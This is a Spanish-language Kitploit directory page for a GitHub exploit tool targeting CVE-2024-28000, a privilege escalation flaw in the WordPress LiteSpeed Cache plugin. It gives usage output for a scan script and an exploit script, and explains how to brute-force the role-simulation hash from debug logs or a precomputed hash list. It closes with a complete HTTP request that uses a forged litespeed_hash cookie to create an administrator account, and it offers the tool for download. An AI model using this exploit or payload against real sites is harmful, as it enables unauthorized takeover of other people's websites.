Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-28000 — CVE-2024-28000 LiteSpeed Cache Escalada de Privilegios Escaneo y Explotación | Kitploit
Herramientas/GitHubGitHub/ssssuperx/cve-2024-28000
Escalada de PrivilegiosAtaques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubssssuperx/cve-2024-28000

CVE-2024-28000

CVE-2024-28000 LiteSpeed Cache Escalada de Privilegios Escaneo y Explotación

Ver Repositorio
12hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

  • Este script primero identificará la versión, determinará si es una versión vulnerable, luego intentará confirmar si existe el archivo de registro. Si existe, intentará enviar paquetes y luego solicitará nuevamente el archivo de registro para buscar una fuga de hash. Si LiteSpeed tiene habilitado debug, es posible que se filtre el hash correcto.
root@kitploit:~
usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Ejemplo:

root@kitploit:~
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Si LiteSpeed tiene debug habilitado, se pueden ver registros similares a los anteriores, donde pkHrfD es el hash correcto.

CVE-2024-28000_Exploit.py

  • Según las pruebas, los hashes generados por Python y PHP son diferentes, por lo que la lista de hashes no se puede generar con Python. El archivo Hash_list.txt contiene 1,000,000 hashes generados por PHP, por lo que en teoría, recorriendo hasta 1,000,000 veces se puede encontrar el hash correcto.
root@kitploit:~
usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808
  • El parámetro -d es la lista de hashes, -u es la URL, -t es el número de hilos. No se recomienda un número de hilos demasiado alto.

Pruebas

  • En pruebas en entornos de laboratorio se puede recorrer con éxito el hash, y después de reinstalar cinco veces se confirmó que el hash está en la lista generada, pero por varios aspectos la tasa de éxito en explotación real es baja.
  • Una vez encontrado el hash correcto, se puede usar el siguiente paquete para agregar un usuario administrador
root@kitploit:~
POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=HashCorrecto; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}
Descargar herramienta